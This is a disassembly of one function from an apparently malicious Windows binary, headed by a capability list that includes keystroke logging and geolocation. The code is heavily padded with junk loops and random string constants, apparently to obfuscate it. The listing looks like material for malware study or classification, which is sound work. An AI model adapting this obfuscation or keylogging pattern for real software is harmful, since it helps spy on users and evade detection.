Function at 0x45c723
Capabilities:
Authenticate hmac
Create directory
Delete file
Extract resource via kernel32 functions
Get geographical location
Identify system language via api
Log keystrokes
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ad60f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0xe58
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x550], 0x6e8e
mov dword [ebp - 0x974], str.srx_qpqghph_yjw_vpeakybgb_oqiqq_kmep_poorpnkhv_gkcdzxj
cmp dword [ebp - 0x550], 0x71e3
jle 0x45c7d2
and dword [ebp - 0x328], 0
jmp 0x45c77e
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 0x766
jge 0x45c7d2
and dword [ebp - 0x20], 0
jmp 0x45c797
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x5718
jge 0x45c7d0
mov eax, dword [ebp - 0x328]
mov ecx, dword [ebp - 0x20]
sar eax, cl
cdq
mov dword [ebp - 0x8ec], eax
mov dword [ebp - 0x8e8], edx
push dword [ebp - 0x8e8]
push dword [ebp - 0x8ec]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x45c790
jmp 0x45c771
mov dword [ebp - 0x488], 0x38a4
and dword [ebp - 4], 0
cmp dword [ebp - 0x550], 0x6c02
jge 0x45c7fc
mov edx, dword [ebp - 0x974]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x45c818
or dword [ebp - 4], 0xffffffff
jmp 0x45c822
mov dword [ebp - 0x614], str.ysy_tqsffe_aesnzn_kffvlc_jwitd_ymubjyta_ljebx_ydgct_fsauizmmj_oxwffdzw_ltgspfsjf_hnzfgu_qmdf
mov dword [ebp - 0x448], 0x3097
mov dword [ebp - 0x5b4], str.stnvn_fbjnx_qtirwcleb_job
cmp dword [ebp - 0x448], 0x310c
jle 0x45c92c
and dword [ebp - 0x428], 0
jmp 0x45c866
mov eax, dword [ebp - 0x428]
inc eax
mov dword [ebp - 0x428], eax
cmp dword [ebp - 0x428], 0x5db9
jge 0x45c92c
and dword [ebp - 0x228], 0
jmp 0x45c88c
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0x719
jge 0x45c927
and dword [ebp - 0x28], 0
jmp 0x45c8a9
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x934
jge 0x45c922
and dword [ebp - 0x30], 0
jmp 0x45c8bf
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xa62
jge 0x45c920
mov eax, dword [ebp - 0x228]
cdq
idiv dword [ebp - 0x28]
mov eax, dword [ebp - 0x428]
mov ecx, edx
sar eax, cl
and eax, dword [ebp - 0x30]
cdq
mov dword [ebp - 0x7b0], eax
mov dword [ebp - 0x7ac], edx
push dword [ebp - 0x7ac]
push dword [ebp - 0x7b0]
lea ecx, [ebp - 0xa0c]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xa0c]
call fcn.004024b1
jmp 0x45c8b8
jmp 0x45c8a2
jmp 0x45c87f
jmp 0x45c859
cmp dword [ebp - 0x488], 0x3987
jle 0x45ce84
mov dword [ebp - 0x438], 0x65ef
mov dword [ebp - 0x59c], str.fxblf_ymviv_zpbagovhl_pwevhwc_kehg_ustybob_xkscf_lalenbwg
cmp dword [ebp - 0x438], 0x66fb
jle 0x45c9fe
and dword [ebp - 0x230], 0
jmp 0x45c976
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 0x65aa
jge 0x45c9e6
and dword [ebp - 0x38], 0
jmp 0x45c98f
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x63a2
jge 0x45c9e4
mov eax, dword [ebp - 0x230]
mov ecx, dword [ebp - 0x38]
shl eax, cl
cdq
mov dword [ebp - 0x8f8], eax
mov dword [ebp - 0x8f4], edx
push dword [ebp - 0x8f4]
push dword [ebp - 0x8f8]
lea ecx, [ebp - 0xc4c]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xc4c]
call fcn.004024b1
jmp 0x45c988
jmp 0x45c969
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
push 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dword [ebp - 4], 2
cmp dword [ebp - 0x438], 0x6586
jge 0x45ca25
push dword [ebp - 0x59c]
call fcn.004814e5
pop ecx
jmp 0x45ca41
or dword [ebp - 4], 0xffffffff
jmp 0x45ca4b
and dword [ebp - 0x338], 0
jmp 0x45ca61
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 0x6566
jge 0x45ce84
mov dword [ebp - 0x4e8], 0x3583
mov dword [ebp - 0x87c], str.alef_bxy_vttbbgbu_hpax_aqhrsodw_zheruq_obipkgzzy_tsjlqu_ixf_xybmdikcm_quscphfmk_cpljhlx_zyn
cmp dword [ebp - 0x4e8], 0x36ee
jle 0x45cb7d
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
and dword [ebp - 0x330], 0
jmp 0x45cab9
mov eax, dword [ebp - 0x330]
inc eax
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 0x7947
jge 0x45cb7d
and dword [ebp - 0x40], 0
jmp 0x45cad6
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x2096
jge 0x45cb78
and dword [ebp - 0x238], 0
jmp 0x45caf9
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0x78f1
jge 0x45cb73
and dword [ebp - 0x48], 0
jmp 0x45cb12
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x4475
jge 0x45cb6e
mov eax, dword [ebp - 0x330]
sub eax, dword [ebp - 0x40]
and eax, dword [ebp - 0x238]
xor eax, dword [ebp - 0x48]
cdq
mov dword [ebp - 0x7c0], eax
mov dword [ebp - 0x7bc], edx
push dword [ebp - 0x7bc]
push dword [ebp - 0x7c0]
lea ecx, [ebp - 0xa3c]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xa3c]
call fcn.004024b1
jmp 0x45cb0b
jmp 0x45caec
jmp 0x45cacf
jmp 0x45caac
and dword [ebp - 0x60], 0
jmp 0x45cb8a
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0x41e9
jge 0x45ce3a
mov dword [ebp - 0x538], 0x5398
mov dword [ebp - 0x984], str.lksar_tjhisf_rafreygd_migrk_uehwxosa_guukhhyv_tuadufg_ldsb_sdwfa
cmp dword [ebp - 0x538], 0x5714
jle 0x45cca2
and dword [ebp - 0x3b0], 0
jmp 0x45cbd1
mov eax, dword [ebp - 0x3b0]
inc eax
mov dword [ebp - 0x3b0], eax
cmp dword [ebp - 0x3b0], 0x6f15
jge 0x45cc9a
and dword [ebp - 0x50], 0
jmp 0x45cbee
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x7807
jge 0x45cc95
and dword [ebp - 0x240], 0
jmp 0x45cc11
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0x4a3f
jge 0x45cc90
and dword [ebp - 0x58], 0
jmp 0x45cc2a
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0x31f
jge 0x45cc8b
mov eax, dword [ebp - 0x3b0]
cdq
idiv dword [ebp - 0x50]
mov ecx, dword [ebp - 0x240]
sub ecx, dword [ebp - 0x58]
sar edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x904], eax
mov dword [ebp - 0x900], edx
push dword [ebp - 0x900]
push dword [ebp - 0x904]
lea ecx, [ebp - 0xd6c]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xd6c]
call fcn.004024b1
jmp 0x45cc23
jmp 0x45cc04
jmp 0x45cbe7
jmp 0x45cbc4
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x338]
mov ecx, dword [ebp - 0x60]
sar eax, cl
cdq
mov dword [ebp - 0x910], eax
mov dword [ebp - 0x90c], edx
mov dword [ebp - 4], 4
cmp dword [ebp - 0x538], 0x4fd5
jge 0x45ccd9
push dword [ebp - 0x984]
call fcn.004814e5
pop ecx
jmp 0x45ccf5
or dword [ebp - 4], 0xffffffff
jmp 0x45ccff
mov dword [ebp - 0x440], 0x5fd9
mov dword [ebp - 0x5a8], str.ijqhvr_kdvz_ntfvk_mkrwrocu_pepn_philjqwki_zpkjhdj_uywuochh_kfmit_htzwhas_lnja
cmp dword [ebp - 0x440], 0x613a
jle 0x45cdba
and dword [ebp - 0x3f0], 0
jmp 0x45cd39
mov eax, dword [ebp - 0x3f0]
inc eax
mov dword [ebp - 0x3f0], eax
cmp dword [ebp - 0x3f0], 0x3d66
jge 0x45cdba
and dword [ebp - 0x248], 0
jmp 0x45cd5b
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0x6118
jge 0x45cdb5
and dword [ebp - 0x68], 0
jmp 0x45cd74
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0x6c2f
jge 0x45cdb3
mov ecx, dword [ebp - 0x248]
sub ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x3f0]
sar eax, cl
cdq
mov dword [ebp - 0x7d0], eax
mov dword [ebp - 0x7cc], edx
push dword [ebp - 0x7cc]
push dword [ebp - 0x7d0]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x45cd6d
jmp 0x45cd4e
jmp 0x45cd2c
push dword [ebp - 0x90c]
push dword [ebp - 0x910]
lea ecx, [ebp - 0xa6c]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xa6c]
call fcn.004024b1
mov dword [ebp - 4], 6
cmp dword [ebp - 0x440], 0x5d0f
jge 0x45ce0f
mov edx, dword [ebp - 0x5a8]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x45ce2b
or dword [ebp - 4], 0xffffffff
jmp 0x45ce35
jmp 0x45cb83
mov dword [ebp - 4], 8
cmp dword [ebp - 0x4e8], 0x3306
jge 0x45ce59
push dword [ebp - 0x87c]
call fcn.004814e5
pop ecx
jmp 0x45ce75
or dword [ebp - 4], 0xffffffff
jmp 0x45ce7f
jmp 0x45ca54
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0x448], 0x2f25
jge 0x45cea3
push dword [ebp - 0x5b4]
call fcn.004814e5
pop ecx
jmp 0x45cebf
or dword [ebp - 4], 0xffffffff
jmp 0x45cec9
cmp dword [ebp + 8], 2
jl 0x45e1b5
push 1
lea eax, [ebp - 0xe20]
push eax
xor edx, edx
inc edx
xor ecx, ecx
call fcn.00452314
pop ecx
pop ecx
mov esi, eax
lea edi, [ebp - 0x9c4]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea esi, [ebp - 0x9c4]
lea edi, [ebp - 0x9b8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x458], 0x7523
mov dword [ebp - 0x5cc], str.xqrq_ckexkw_nbrgxthb
cmp dword [ebp - 0x458], 0x7573
jle 0x45d3a5
mov dword [ebp - 0x4f0], 0x1bd0
mov dword [ebp - 0x888], str.xdrvdtb_oes_lgiklw_yimqtjvbm_crtitno_bnrge_hmvka_zquatscdc_pta_fra_fawlhx
cmp dword [ebp - 0x4f0], 0x1c41
jle 0x45d007
and dword [ebp - 0x70], 0
jmp 0x45cf57
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0x56c8
jge 0x45d007
and dword [ebp - 0x250], 0
jmp 0x45cf7a
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0x29ac
jge 0x45d002
and dword [ebp - 0x78], 0
jmp 0x45cf93
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0x5656
jge 0x45cffd
and dword [ebp - 0x340], 0
jmp 0x45cfb2
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 0x6a04
jge 0x45cffb
mov eax, dword [ebp - 0x70]
imul eax, dword [ebp - 0x250]
cdq
idiv dword [ebp - 0x78]
mov ecx, dword [ebp - 0x340]
sar edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x7e0], eax
mov dword [ebp - 0x7dc], edx
push dword [ebp - 0x7dc]
push dword [ebp - 0x7e0]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x45cfa5
jmp 0x45cf8c
jmp 0x45cf6d
jmp 0x45cf50
and dword [ebp - 0x268], 0
jmp 0x45d01d
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0x4864
jge 0x45d35c
and dword [ebp - 0xa0], 0
jmp 0x45d043
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0x6a31
jge 0x45d357
mov dword [ebp - 0x450], 0x420b
mov dword [ebp - 0x5c0], str.vkxtj_vdhrj_uaa_xdixkcs_ifxvqvur_cyss_uuwm
cmp dword [ebp - 0x450], 0x42eb
jle 0x45d101
and dword [ebp - 0x80], 0
jmp 0x45d084
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0x5f08
jge 0x45d101
and dword [ebp - 0x258], 0
jmp 0x45d0a3
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 0x6cbe
jge 0x45d0fc
mov eax, dword [ebp - 0x80]
cdq
idiv dword [ebp - 0x258]
mov eax, edx
cdq
mov dword [ebp - 0x91c], eax
mov dword [ebp - 0x918], edx
push dword [ebp - 0x918]
push dword [ebp - 0x91c]
lea ecx, [ebp - 0xc7c]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xc7c]
call fcn.004024b1
jmp 0x45d096
jmp 0x45d07d
and dword [ebp - 0x98], 0
jmp 0x45d117
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0x7370
jge 0x45d30d
and dword [ebp - 0x348], 0
jmp 0x45d13d
mov eax, dword [ebp - 0x348]
inc eax
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0x5aad
jge 0x45d308
mov dword [ebp - 0x578], 0x3006
mov dword [ebp - 0x98c], str.cmppfz_jpjygn_uwggbhmhh_wynfbstb
cmp dword [ebp - 0x578], 0x33e4
jle 0x45d281
and dword [ebp - 0x88], 0
jmp 0x45d187
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0x78a
jge 0x45d270
and dword [ebp - 0x3b8], 0
jmp 0x45d1ad
mov eax, dword [ebp - 0x3b8]
inc eax
mov dword [ebp - 0x3b8], eax
cmp dword [ebp - 0x3b8], 0x3516
jge 0x45d26b
and dword [ebp - 0x90], 0
jmp 0x45d1d3
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0x2d4b
jge 0x45d266
and dword [ebp - 0x260], 0
jmp 0x45d1f9
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 0x2d1
jge 0x45d261
mov eax, dword [ebp - 0x88]
imul eax, dword [ebp - 0x3b8]
sub eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x260]
sar eax, cl
cdq
mov dword [ebp - 0x7f0], eax
mov dword [ebp - 0x7ec], edx
push dword [ebp - 0x7ec]
push dword [ebp - 0x7f0]
lea ecx, [ebp - 0xa9c]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xa9c]
call fcn.004024b1
jmp 0x45d1ec
jmp 0x45d1c6
jmp 0x45d1a0
jmp 0x45d17a
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnumChildWindows]
mov ecx, dword [ebp - 0x98]
sub ecx, dword [ebp - 0x348]
mov eax, dword [ebp - 0xa0]
shl eax, cl
xor eax, dword [ebp - 0x268]
cdq
mov dword [ebp - 0x928], eax
mov dword [ebp - 0x924], edx
mov dword [ebp - 4], 0xc
cmp dword [ebp - 0x578], 0x2dfe
jge 0x45d2c7
push dword [ebp - 0x98c]
call fcn.004814e5
pop ecx
jmp 0x45d2e3
or dword [ebp - 4], 0xffffffff
jmp 0x45d2ed
push dword [ebp - 0x924]
push dword [ebp - 0x928]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x45d130
jmp 0x45d10a
mov dword [ebp - 4], 0xe
cmp dword [ebp - 0x450], 0x3fff
jge 0x45d32c
push dword [ebp - 0x5c0]
call fcn.004814e5
pop ecx
jmp 0x45d348
or dword [ebp - 4], 0xffffffff
jmp 0x45d352
jmp 0x45d036
jmp 0x45d010
mov dword [ebp - 4], 0x10
cmp dword [ebp - 0x4f0], 0x194d
jge 0x45d37f
mov edx, dword [ebp - 0x888]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x45d39b
or dword [ebp - 4], 0xffffffff
jmp 0x45d3a5
cmp dword [ebp - 0x9b8], 0
je 0x45d3c2
push 0
push dword [ebp - 0x9b0]
push dword [ebp - 0x9b4]
call dword [ebp - 0x9b8]
mov dword [ebp - 0x460], 0x3975
mov dword [ebp - 0x5d8], str.rulvau_qvurd_hfkc_sdtmvsp_deowou_rtybrr_jqti
cmp dword [ebp - 0x460], 0x3a51
jle 0x45d4f9
and dword [ebp - 0xb0], 0
jmp 0x45d3fc
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0x4b58
jge 0x45d4e7
and dword [ebp - 0xa8], 0
jmp 0x45d422
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0x7535
jge 0x45d4e2
and dword [ebp - 0x410], 0
jmp 0x45d448
mov eax, dword [ebp - 0x410]
inc eax
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 0x5d53
jge 0x45d4dd
and dword [ebp - 0x270], 0
jmp 0x45d46e
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 0x6889
jge 0x45d4d8
mov eax, dword [ebp - 0xa8]
cdq
idiv dword [ebp - 0x410]
add edx, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0x270]
shl edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x800], eax
mov dword [ebp - 0x7fc], edx
push dword [ebp - 0x7fc]
push dword [ebp - 0x800]
lea ecx, [ebp - 0xdfc]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xdfc]
call fcn.004024b1
jmp 0x45d461
jmp 0x45d43b
jmp 0x45d415
jmp 0x45d3ef
push 0
push 0x783
push 0x11b6
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov dword [ebp - 4], 0x12
cmp dword [ebp - 0x458], 0x7503
jge 0x45d656
mov dword [ebp - 0x540], 0x483f
mov dword [ebp - 0x994], str.mvl_wnoiahdc_yyjkft_bvbe_ngtq_abjgqu_hmjk_valn_giatukr_gpqwjlp_ytg_wsudfx_gjqalwd
cmp dword [ebp - 0x540], 0x4a04
jle 0x45d5fe
and dword [ebp - 0xc0], 0
jmp 0x45d54a
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0x1f44
jge 0x45d5fe
and dword [ebp - 0xb8], 0
jmp 0x45d570
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0x4f0e
jge 0x45d5f9
and dword [ebp - 0x350], 0
jmp 0x45d592
mov eax, dword [ebp - 0x350]
inc eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 0x805f
jge 0x45d5f4
mov eax, dword [ebp - 0xb8]
cdq
idiv dword [ebp - 0x350]
or edx, dword [ebp - 0xc0]
mov eax, edx
cdq
mov dword [ebp - 0x934], eax
mov dword [ebp - 0x930], edx
push dword [ebp - 0x930]
push dword [ebp - 0x934]
lea ecx, [ebp - 0xacc]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xacc]
call fcn.004024b1
jmp 0x45d585
jmp 0x45d563
jmp 0x45d53d
mov edx, dword [ebp - 0x5cc]
mov ecx, 0xab4140
call fcn.0047dce4
mov byte [ebp - 4], 0x13
cmp dword [ebp - 0x540], 0x46f0
jge 0x45d62a
push dword [ebp - 0x994]
call fcn.004814e5
pop ecx
jmp 0x45d646
mov dword [ebp - 4], 0x12
jmp 0x45d656
jmp 0x45d672
or dword [ebp - 4], 0xffffffff
jmp 0x45d67c
mov dword [ebp - 4], 0x16
cmp dword [ebp - 0x460], 0x388c
jge 0x45d69b
push dword [ebp - 0x5d8]
call fcn.004814e5
pop ecx
jmp 0x45d6b7
or dword [ebp - 4], 0xffffffff
jmp 0x45d6c1
mov dword [ebp - 0x478], 0x5204
mov dword [ebp - 0x5fc], str.hleke_pqjf_uhgvfphzc_rfypvohlq_kdycbl_agsklxd_tlejhg_smd_zbvsjym_rmv
cmp dword [ebp - 0x478], 0x5353
jle 0x45ddb4
mov dword [ebp - 0x470], 0x21bb
mov dword [ebp - 0x5f0], str.fjwz_rvjvjjzb_agc_zgmz_jscpb_wmbg_jyk_qvcrasgo_kobuqtxj_mqwhm_xrwscwo_rubvfz
cmp dword [ebp - 0x470], 0x2521
jle 0x45d809
and dword [ebp - 0x3c0], 0
jmp 0x45d71f
mov eax, dword [ebp - 0x3c0]
inc eax
mov dword [ebp - 0x3c0], eax
cmp dword [ebp - 0x3c0], 0x109b
jge 0x45d809
and dword [ebp - 0x278], 0
jmp 0x45d745
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 0x3222
jge 0x45d804
and dword [ebp - 0xc8], 0
jmp 0x45d76b
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0x777
jge 0x45d7ff
and dword [ebp - 0xd0], 0
jmp 0x45d791
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0x7226
jge 0x45d7fa
mov ecx, dword [ebp - 0x278]
sub ecx, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x3c0]
sar eax, cl
mov ecx, dword [ebp - 0xd0]
sar eax, cl
cdq
mov dword [ebp - 0x810], eax
mov dword [ebp - 0x80c], edx
push dword [ebp - 0x80c]
push dword [ebp - 0x810]
lea ecx, [ebp - 0xcac]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xcac]
call fcn.004024b1
jmp 0x45d784
jmp 0x45d75e
jmp 0x45d738
jmp 0x45d712
and dword [ebp - 0xf0], 0
jmp 0x45d81f
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0xa3e
jge 0x45dbfc
mov dword [ebp - 0x568], 0x4bec
mov dword [ebp - 0x99c], str.kwapp_wbynwb_yhvp_cjpdy
cmp dword [ebp - 0x568], 0x4eb6
jle 0x45d931
and dword [ebp - 0x280], 0
jmp 0x45d869
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0x583c
jge 0x45d931
and dword [ebp - 0xd8], 0
jmp 0x45d88f
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0x1f01
jge 0x45d92c
and dword [ebp - 0x358], 0
jmp 0x45d8b5
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0x75d2
jge 0x45d927
and dword [ebp - 0xe0], 0
jmp 0x45d8d7
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0x771
jge 0x45d925
mov eax, dword [ebp - 0x280]
cdq
idiv dword [ebp - 0xd8]
sub edx, dword [ebp - 0x358]
mov ecx, dword [ebp - 0xe0]
sar edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x940], eax
mov dword [ebp - 0x93c], edx
push dword [ebp - 0x93c]
push dword [ebp - 0x940]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x45d8ca
jmp 0x45d8a8
jmp 0x45d882
jmp 0x45d85c
and dword [ebp - 0x290], 0
jmp 0x45d947
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0x1cc3
jge 0x45dbae
mov dword [ebp - 0x4f8], 0x70d6
mov dword [ebp - 0x894], str.ivxio_hpm_wlmcbucek_cxn_ydluvtuy_bgzqbe_skhqum_fxwodwcw
cmp dword [ebp - 0x4f8], 0x7248
jle 0x45da36
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
and dword [ebp - 0x3f8], 0
jmp 0x45d999
mov eax, dword [ebp - 0x3f8]
inc eax
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 0x64b1
jge 0x45da2c
and dword [ebp - 0x288], 0
jmp 0x45d9bf
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0x1404
jge 0x45da27
and dword [ebp - 0xe8], 0
jmp 0x45d9e1
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0x47c5
jge 0x45da25
mov eax, dword [ebp - 0x288]
imul eax, dword [ebp - 0xe8]
and eax, dword [ebp - 0x3f8]
cdq
mov dword [ebp - 0x820], eax
mov dword [ebp - 0x81c], edx
push dword [ebp - 0x81c]
push dword [ebp - 0x820]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x45d9d4
jmp 0x45d9b2
jmp 0x45d98c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov eax, dword [ebp - 0xf0]
xor eax, dword [ebp - 0x290]
cdq
mov dword [ebp - 0x830], eax
mov dword [ebp - 0x82c], edx
mov dword [ebp - 4], 0x18
cmp dword [ebp - 0x4f8], 0x6d50
jge 0x45da72
mov edx, dword [ebp - 0x894]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x45da8e
or dword [ebp - 4], 0xffffffff
jmp 0x45da98
mov dword [ebp - 0x468], 0x23e7
mov dword [ebp - 0x5e4], str.xtukvj_tenmhni_bgfhdme_bpkninq_qqnwzpwcq_qbvjcy_wfjvm_trgull_saw_enfgz_jmqytiytz
cmp dword [ebp - 0x468], 0x23f4
jle 0x45db4a
and dword [ebp - 0xf8], 0
jmp 0x45dad2
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0x7901
jge 0x45db33
and dword [ebp - 0x360], 0
jmp 0x45daf4
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 0x11f5
jge 0x45db31
mov eax, dword [ebp - 0xf8]
sub eax, dword [ebp - 0x360]
cdq
mov dword [ebp - 0x94c], eax
mov dword [ebp - 0x948], edx
push dword [ebp - 0x948]
push dword [ebp - 0x94c]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x45dae7
jmp 0x45dac5
push 0x2577
push 0x10d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
push dword [ebp - 0x82c]
push dword [ebp - 0x830]
mov ecx, 0xab4140
call fcn.0047c836
mov dword [ebp - 4], 0x1a
cmp dword [ebp - 0x468], 0x2379
jge 0x45db83
mov edx, dword [ebp - 0x5e4]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x45db9f
